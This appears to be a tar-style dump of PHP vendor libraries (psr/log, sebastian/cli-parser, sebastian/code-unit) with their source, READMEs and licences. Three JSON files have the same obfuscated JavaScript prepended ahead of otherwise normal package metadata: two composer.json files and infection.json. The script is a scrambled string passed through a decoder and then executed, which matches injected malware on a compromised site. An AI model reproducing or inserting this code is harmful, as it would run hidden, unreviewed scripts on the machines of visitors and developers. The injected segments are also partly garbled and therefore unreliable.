that are not errors. * * Example: Use of deprecated APIs, poor use of an API, undesirable things * that are not necessarily wrong. * * @param string $message * @param mixed[] $context * * @return void */ public function warning($message, array $context = array()) { $this->log(LogLevel::WARNING, $message, $context); } /** * Normal but significant events. * * @param string $message * @param mixed[] $context * * @return void */ public function notice($message, array $context = array()) { $this->log(LogLevel::NOTICE, $message, $context); } /** * Interesting events. * * Example: User logs in, SQL logs. * * @param string $message * @param mixed[] $context * * @return void */ public function info($message, array $context = array()) { $this->log(LogLevel::INFO, $message, $context); } /** * Detailed debug information. * * @param string $message * @param mixed[] $context * * @return void */ public function debug($message, array $context = array()) { $this->log(LogLevel::DEBUG, $message, $context); } } res/readability/vendor/psr/log/Psr/Log/NullLogger.php000064400000001303147577714370016603 0ustar00logger) { }` * blocks. */ class NullLogger extends AbstractLogger { /** * Logs with an arbitrary level. * * @param mixed $level * @param string $message * @param array $context * * @return void * * @throws \Psr\Log\InvalidArgumentException */ public function log($level, $message, array $context = array()) { // noop } } res/readability/vendor/psr/log/Psr/Log/LoggerTrait.php000064400000006527147577714370016771 0ustar00log(LogLevel::EMERGENCY, $message, $context); } /** * Action must be taken immediately. * * Example: Entire website down, database unavailable, etc. This should * trigger the SMS alerts and wake you up. * * @param string $message * @param array $context * * @return void */ public function alert($message, array $context = array()) { $this->log(LogLevel::ALERT, $message, $context); } /** * Critical conditions. * * Example: Application component unavailable, unexpected exception. * * @param string $message * @param array $context * * @return void */ public function critical($message, array $context = array()) { $this->log(LogLevel::CRITICAL, $message, $context); } /** * Runtime errors that do not require immediate action but should typically * be logged and monitored. * * @param string $message * @param array $context * * @return void */ public function error($message, array $context = array()) { $this->log(LogLevel::ERROR, $message, $context); } /** * Exceptional occurrences that are not errors. * * Example: Use of deprecated APIs, poor use of an API, undesirable things * that are not necessarily wrong. * * @param string $message * @param array $context * * @return void */ public function warning($message, array $context = array()) { $this->log(LogLevel::WARNING, $message, $context); } /** * Normal but significant events. * * @param string $message * @param array $context * * @return void */ public function notice($message, array $context = array()) { $this->log(LogLevel::NOTICE, $message, $context); } /** * Interesting events. * * Example: User logs in, SQL logs. * * @param string $message * @param array $context * * @return void */ public function info($message, array $context = array()) { $this->log(LogLevel::INFO, $message, $context); } /** * Detailed debug information. * * @param string $message * @param array $context * * @return void */ public function debug($message, array $context = array()) { $this->log(LogLevel::DEBUG, $message, $context); } /** * Logs with an arbitrary level. * * @param mixed $level * @param string $message * @param array $context * * @return void * * @throws \Psr\Log\InvalidArgumentException */ abstract public function log($level, $message, array $context = array()); } res/readability/vendor/psr/log/Psr/Log/InvalidArgumentException.php000064400000000140147577714370021477 0ustar00logger = $logger; } public function doSomething() { if ($this->logger) { $this->logger->info('Doing work'); } try { $this->doSomethingElse(); } catch (Exception $exception) { $this->logger->error('Oh no!', array('exception' => $exception)); } // do something useful } } ``` You can then pick one of the implementations of the interface to get a logger. If you want to implement the interface, you can require this package and implement `Psr\Log\LoggerInterface` in your code. Please read the [specification text](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md) for details. res/readability/vendor/psr/log/LICENSE000064400000002075147577714370013547 0ustar00Copyright (c) 2012 PHP Framework Interoperability Group Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. res/readability/vendor/psr/log/composer.json000064400000006753147577714370015273 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "name": "psr/log", "description": "Common interface for logging libraries", "keywords": ["psr", "psr-3", "log"], "homepage": "https://github.com/php-fig/log", "license": "MIT", "authors": [ { "name": "PHP-FIG", "homepage": "https://www.php-fig.org/" } ], "require": { "php": ">=5.3.0" }, "autoload": { "psr-4": { "Psr\\Log\\": "Psr/Log/" } }, "extra": { "branch-alias": { "dev-master": "1.1.x-dev" } } } res/readability/vendor/sebastian/cli-parser/src/exceptions/AmbiguousOptionException.php000064400000001201147577714370025641 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CliParser; use function sprintf; use RuntimeException; final class AmbiguousOptionException extends RuntimeException implements Exception { public function __construct(string $option) { parent::__construct( sprintf( 'Option "%s" is ambiguous', $option ) ); } } res/readability/vendor/sebastian/cli-parser/src/exceptions/Exception.php000064400000000554147577714370022606 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CliParser; use Throwable; interface Exception extends Throwable { } res/readability/vendor/sebastian/cli-parser/src/exceptions/OptionDoesNotAllowArgumentException.php000064400000001232147577714370027767 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CliParser; use function sprintf; use RuntimeException; final class OptionDoesNotAllowArgumentException extends RuntimeException implements Exception { public function __construct(string $option) { parent::__construct( sprintf( 'Option "%s" does not allow an argument', $option ) ); } } readability/vendor/sebastian/cli-parser/src/exceptions/RequiredOptionArgumentMissingException.php000064400000001243147577714370030452 0ustar00res * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CliParser; use function sprintf; use RuntimeException; final class RequiredOptionArgumentMissingException extends RuntimeException implements Exception { public function __construct(string $option) { parent::__construct( sprintf( 'Required argument for option "%s" is missing', $option ) ); } } res/readability/vendor/sebastian/cli-parser/src/exceptions/UnknownOptionException.php000064400000001172147577714370025354 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CliParser; use function sprintf; use RuntimeException; final class UnknownOptionException extends RuntimeException implements Exception { public function __construct(string $option) { parent::__construct( sprintf( 'Unknown option "%s"', $option ) ); } } res/readability/vendor/sebastian/cli-parser/src/Parser.php000064400000013223147577714370017720 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CliParser; use function array_map; use function array_merge; use function array_shift; use function array_slice; use function assert; use function count; use function current; use function explode; use function is_array; use function is_int; use function is_string; use function key; use function next; use function preg_replace; use function reset; use function sort; use function strlen; use function strpos; use function strstr; use function substr; final class Parser { /** * @psalm-param list $argv * @psalm-param list $longOptions * * @throws AmbiguousOptionException * @throws RequiredOptionArgumentMissingException * @throws OptionDoesNotAllowArgumentException * @throws UnknownOptionException */ public function parse(array $argv, string $shortOptions, array $longOptions = null): array { if (empty($argv)) { return [[], []]; } $options = []; $nonOptions = []; if ($longOptions) { sort($longOptions); } if (isset($argv[0][0]) && $argv[0][0] !== '-') { array_shift($argv); } reset($argv); $argv = array_map('trim', $argv); while (false !== $arg = current($argv)) { $i = key($argv); assert(is_int($i)); next($argv); if ($arg === '') { continue; } if ($arg === '--') { $nonOptions = array_merge($nonOptions, array_slice($argv, $i + 1)); break; } if ($arg[0] !== '-' || (strlen($arg) > 1 && $arg[1] === '-' && !$longOptions)) { $nonOptions[] = $arg; continue; } if (strlen($arg) > 1 && $arg[1] === '-' && is_array($longOptions)) { $this->parseLongOption( substr($arg, 2), $longOptions, $options, $argv ); } else { $this->parseShortOption( substr($arg, 1), $shortOptions, $options, $argv ); } } return [$options, $nonOptions]; } /** * @throws RequiredOptionArgumentMissingException */ private function parseShortOption(string $arg, string $shortOptions, array &$opts, array &$args): void { $argLength = strlen($arg); for ($i = 0; $i < $argLength; $i++) { $option = $arg[$i]; $optionArgument = null; if ($arg[$i] === ':' || ($spec = strstr($shortOptions, $option)) === false) { throw new UnknownOptionException('-' . $option); } assert(is_string($spec)); if (strlen($spec) > 1 && $spec[1] === ':') { if ($i + 1 < $argLength) { $opts[] = [$option, substr($arg, $i + 1)]; break; } if (!(strlen($spec) > 2 && $spec[2] === ':')) { $optionArgument = current($args); if (!$optionArgument) { throw new RequiredOptionArgumentMissingException('-' . $option); } assert(is_string($optionArgument)); next($args); } } $opts[] = [$option, $optionArgument]; } } /** * @psalm-param list $longOptions * * @throws AmbiguousOptionException * @throws RequiredOptionArgumentMissingException * @throws OptionDoesNotAllowArgumentException * @throws UnknownOptionException */ private function parseLongOption(string $arg, array $longOptions, array &$opts, array &$args): void { $count = count($longOptions); $list = explode('=', $arg); $option = $list[0]; $optionArgument = null; if (count($list) > 1) { $optionArgument = $list[1]; } $optionLength = strlen($option); foreach ($longOptions as $i => $longOption) { $opt_start = substr($longOption, 0, $optionLength); if ($opt_start !== $option) { continue; } $opt_rest = substr($longOption, $optionLength); if ($opt_rest !== '' && $i + 1 < $count && $option[0] !== '=' && strpos($longOptions[$i + 1], $option) === 0) { throw new AmbiguousOptionException('--' . $option); } if (substr($longOption, -1) === '=') { /* @noinspection StrlenInEmptyStringCheckContextInspection */ if (substr($longOption, -2) !== '==' && !strlen((string) $optionArgument)) { if (false === $optionArgument = current($args)) { throw new RequiredOptionArgumentMissingException('--' . $option); } next($args); } } elseif ($optionArgument) { throw new OptionDoesNotAllowArgumentException('--' . $option); } $fullOption = '--' . preg_replace('/={1,2}$/', '', $longOption); $opts[] = [$fullOption, $optionArgument]; return; } throw new UnknownOptionException('--' . $option); } } res/readability/vendor/sebastian/cli-parser/README.md000064400000000753147577714370016447 0ustar00# sebastian/cli-parser Library for parsing `$_SERVER['argv']`, extracted from `phpunit/phpunit`. ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require sebastian/cli-parser ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev sebastian/cli-parser ``` res/readability/vendor/sebastian/cli-parser/LICENSE000064400000003016147577714370016170 0ustar00sebastian/cli-parser Copyright (c) 2020, Sebastian Bergmann . All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Sebastian Bergmann nor the names of his contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. res/readability/vendor/sebastian/cli-parser/composer.json000064400000007530147577714370017712 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "name": "sebastian/cli-parser", "description": "Library for parsing CLI options", "type": "library", "homepage": "https://github.com/sebastianbergmann/cli-parser", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "support": { "issues": "https://github.com/sebastianbergmann/cli-parser/issues" }, "prefer-stable": true, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "config": { "platform": { "php": "7.3.0" }, "optimize-autoloader": true, "sort-packages": true }, "autoload": { "classmap": [ "src/" ] }, "extra": { "branch-alias": { "dev-master": "1.0-dev" } } } res/readability/vendor/sebastian/cli-parser/infection.json000064400000006147147577714370020044 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "source": { "directories": [ "src" ] }, "mutators": { "@default": true }, "minMsi": 100, "minCoveredMsi": 100 } res/readability/vendor/sebastian/cli-parser/ChangeLog.md000064400000000634147577714370017337 0ustar00# ChangeLog All notable changes are documented in this file using the [Keep a CHANGELOG](https://keepachangelog.com/) principles. ## [1.0.1] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [1.0.0] - 2020-08-12 * Initial release [1.0.0]: https://github.com/sebastianbergmann/cli-parser/compare/bb7bb3297957927962b0a3335befe7b66f7462e9...1.0.0 res/readability/vendor/sebastian/code-unit/.psalm/config.xml000064400000000752147577714370020176 0ustar00 res/readability/vendor/sebastian/code-unit/.psalm/baseline.xml000064400000001252147577714370020507 0ustar00 $firstPart $firstPart $firstPart $firstPart $firstPart $firstPart $firstPart $firstPart $firstPart $secondPart $unit $unit $unit $unit $unit $unit res/readability/vendor/sebastian/code-unit/src/exceptions/InvalidCodeUnitException.php000064400000000636147577714370025377 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnit; use RuntimeException; final class InvalidCodeUnitException extends RuntimeException implements Exception { } res/readability/vendor/sebastian/code-unit/src/exceptions/ReflectionException.php000064400000000631147577714370024443 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnit; use RuntimeException; final class ReflectionException extends RuntimeException implements Exception { } res/readability/vendor/sebastian/code-unit/src/exceptions/NoTraitException.php000064400000000626147577714370023735 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnit; use RuntimeException; final class NoTraitException extends RuntimeException implements Exception { } res/readability/vendor/sebastian/code-unit/src/exceptions/Exception.php000064400000000552147577714370022432 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnit; use Throwable; interface Exception extends Throwable { } res/readability/vendor/sebastian/code-unit/src/InterfaceMethodUnit.php000064400000001023147577714370022206 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnit; /** * @psalm-immutable */ final class InterfaceMethodUnit extends CodeUnit { /** * @psalm-assert-if-true InterfaceMethod $this */ public function isInterfaceMethod(): bool { return true; } } res/readability/vendor/sebastian/code-unit/src/TraitUnit.php000064400000000771147577714370020241 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnit; /** * @psalm-immutable */ final class TraitUnit extends CodeUnit { /** * @psalm-assert-if-true TraitUnit $this */ public function isTrait(): bool { return true; } } res/readability/vendor/sebastian/code-unit/src/ClassMethodUnit.php000064400000001013147577714370021352 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnit; /** * @psalm-immutable */ final class ClassMethodUnit extends CodeUnit { /** * @psalm-assert-if-true ClassMethodUnit $this */ public function isClassMethod(): bool { return true; } } res/readability/vendor/sebastian/code-unit/src/Mapper.php000064400000027646147577714370017554 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnit; use function array_keys; use function array_merge; use function array_unique; use function array_values; use function class_exists; use function explode; use function function_exists; use function interface_exists; use function ksort; use function method_exists; use function sort; use function sprintf; use function str_replace; use function strpos; use function trait_exists; use ReflectionClass; use ReflectionFunction; use ReflectionMethod; final class Mapper { /** * @psalm-return array> */ public function codeUnitsToSourceLines(CodeUnitCollection $codeUnits): array { $result = []; foreach ($codeUnits as $codeUnit) { $sourceFileName = $codeUnit->sourceFileName(); if (!isset($result[$sourceFileName])) { $result[$sourceFileName] = []; } $result[$sourceFileName] = array_merge($result[$sourceFileName], $codeUnit->sourceLines()); } foreach (array_keys($result) as $sourceFileName) { $result[$sourceFileName] = array_values(array_unique($result[$sourceFileName])); sort($result[$sourceFileName]); } ksort($result); return $result; } /** * @throws InvalidCodeUnitException * @throws ReflectionException */ public function stringToCodeUnits(string $unit): CodeUnitCollection { if (strpos($unit, '::') !== false) { [$firstPart, $secondPart] = explode('::', $unit); if (empty($firstPart) && $this->isUserDefinedFunction($secondPart)) { return CodeUnitCollection::fromList(CodeUnit::forFunction($secondPart)); } if ($this->isUserDefinedClass($firstPart)) { if ($secondPart === '') { return $this->publicMethodsOfClass($firstPart); } if ($secondPart === '') { return $this->protectedAndPrivateMethodsOfClass($firstPart); } if ($secondPart === '') { return $this->protectedMethodsOfClass($firstPart); } if ($secondPart === '') { return $this->publicAndPrivateMethodsOfClass($firstPart); } if ($secondPart === '') { return $this->privateMethodsOfClass($firstPart); } if ($secondPart === '') { return $this->publicAndProtectedMethodsOfClass($firstPart); } if ($this->isUserDefinedMethod($firstPart, $secondPart)) { return CodeUnitCollection::fromList(CodeUnit::forClassMethod($firstPart, $secondPart)); } } if ($this->isUserDefinedInterface($firstPart)) { return CodeUnitCollection::fromList(CodeUnit::forInterfaceMethod($firstPart, $secondPart)); } if ($this->isUserDefinedTrait($firstPart)) { return CodeUnitCollection::fromList(CodeUnit::forTraitMethod($firstPart, $secondPart)); } } else { if ($this->isUserDefinedClass($unit)) { $units = [CodeUnit::forClass($unit)]; foreach ($this->reflectorForClass($unit)->getTraits() as $trait) { if (!$trait->isUserDefined()) { // @codeCoverageIgnoreStart continue; // @codeCoverageIgnoreEnd } $units[] = CodeUnit::forTrait($trait->getName()); } return CodeUnitCollection::fromArray($units); } if ($this->isUserDefinedInterface($unit)) { return CodeUnitCollection::fromList(CodeUnit::forInterface($unit)); } if ($this->isUserDefinedTrait($unit)) { return CodeUnitCollection::fromList(CodeUnit::forTrait($unit)); } if ($this->isUserDefinedFunction($unit)) { return CodeUnitCollection::fromList(CodeUnit::forFunction($unit)); } $unit = str_replace('', '', $unit); if ($this->isUserDefinedClass($unit)) { return $this->classAndParentClassesAndTraits($unit); } } throw new InvalidCodeUnitException( sprintf( '"%s" is not a valid code unit', $unit ) ); } /** * @psalm-param class-string $className * * @throws ReflectionException */ private function publicMethodsOfClass(string $className): CodeUnitCollection { return $this->methodsOfClass($className, ReflectionMethod::IS_PUBLIC); } /** * @psalm-param class-string $className * * @throws ReflectionException */ private function publicAndProtectedMethodsOfClass(string $className): CodeUnitCollection { return $this->methodsOfClass($className, ReflectionMethod::IS_PUBLIC | ReflectionMethod::IS_PROTECTED); } /** * @psalm-param class-string $className * * @throws ReflectionException */ private function publicAndPrivateMethodsOfClass(string $className): CodeUnitCollection { return $this->methodsOfClass($className, ReflectionMethod::IS_PUBLIC | ReflectionMethod::IS_PRIVATE); } /** * @psalm-param class-string $className * * @throws ReflectionException */ private function protectedMethodsOfClass(string $className): CodeUnitCollection { return $this->methodsOfClass($className, ReflectionMethod::IS_PROTECTED); } /** * @psalm-param class-string $className * * @throws ReflectionException */ private function protectedAndPrivateMethodsOfClass(string $className): CodeUnitCollection { return $this->methodsOfClass($className, ReflectionMethod::IS_PROTECTED | ReflectionMethod::IS_PRIVATE); } /** * @psalm-param class-string $className * * @throws ReflectionException */ private function privateMethodsOfClass(string $className): CodeUnitCollection { return $this->methodsOfClass($className, ReflectionMethod::IS_PRIVATE); } /** * @psalm-param class-string $className * * @throws ReflectionException */ private function methodsOfClass(string $className, int $filter): CodeUnitCollection { $units = []; foreach ($this->reflectorForClass($className)->getMethods($filter) as $method) { if (!$method->isUserDefined()) { continue; } $units[] = CodeUnit::forClassMethod($className, $method->getName()); } return CodeUnitCollection::fromArray($units); } /** * @psalm-param class-string $className * * @throws ReflectionException */ private function classAndParentClassesAndTraits(string $className): CodeUnitCollection { $units = [CodeUnit::forClass($className)]; $reflector = $this->reflectorForClass($className); foreach ($this->reflectorForClass($className)->getTraits() as $trait) { if (!$trait->isUserDefined()) { // @codeCoverageIgnoreStart continue; // @codeCoverageIgnoreEnd } $units[] = CodeUnit::forTrait($trait->getName()); } while ($reflector = $reflector->getParentClass()) { if (!$reflector->isUserDefined()) { break; } $units[] = CodeUnit::forClass($reflector->getName()); foreach ($reflector->getTraits() as $trait) { if (!$trait->isUserDefined()) { // @codeCoverageIgnoreStart continue; // @codeCoverageIgnoreEnd } $units[] = CodeUnit::forTrait($trait->getName()); } } return CodeUnitCollection::fromArray($units); } /** * @psalm-param class-string $className * * @throws ReflectionException */ private function reflectorForClass(string $className): ReflectionClass { try { return new ReflectionClass($className); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } /** * @throws ReflectionException */ private function isUserDefinedFunction(string $functionName): bool { if (!function_exists($functionName)) { return false; } try { return (new ReflectionFunction($functionName))->isUserDefined(); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } /** * @throws ReflectionException */ private function isUserDefinedClass(string $className): bool { if (!class_exists($className)) { return false; } try { return (new ReflectionClass($className))->isUserDefined(); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } /** * @throws ReflectionException */ private function isUserDefinedInterface(string $interfaceName): bool { if (!interface_exists($interfaceName)) { return false; } try { return (new ReflectionClass($interfaceName))->isUserDefined(); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } /** * @throws ReflectionException */ private function isUserDefinedTrait(string $traitName): bool { if (!trait_exists($traitName)) { return false; } try { return (new ReflectionClass($traitName))->isUserDefined(); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } /** * @throws ReflectionException */ private function isUserDefinedMethod(string $className, string $methodName): bool { if (!class_exists($className)) { // @codeCoverageIgnoreStart return false; // @codeCoverageIgnoreEnd } if (!method_exists($className, $methodName)) { // @codeCoverageIgnoreStart return false; // @codeCoverageIgnoreEnd } try { return (new ReflectionMethod($className, $methodName))->isUserDefined(); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } } res/readability/vendor/sebastian/code-unit/src/CodeUnitCollectionIterator.php000064400000002064147577714370023553 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnit; use Iterator; final class CodeUnitCollectionIterator implements Iterator { /** * @psalm-var list */ private $codeUnits; /** * @var int */ private $position = 0; public function 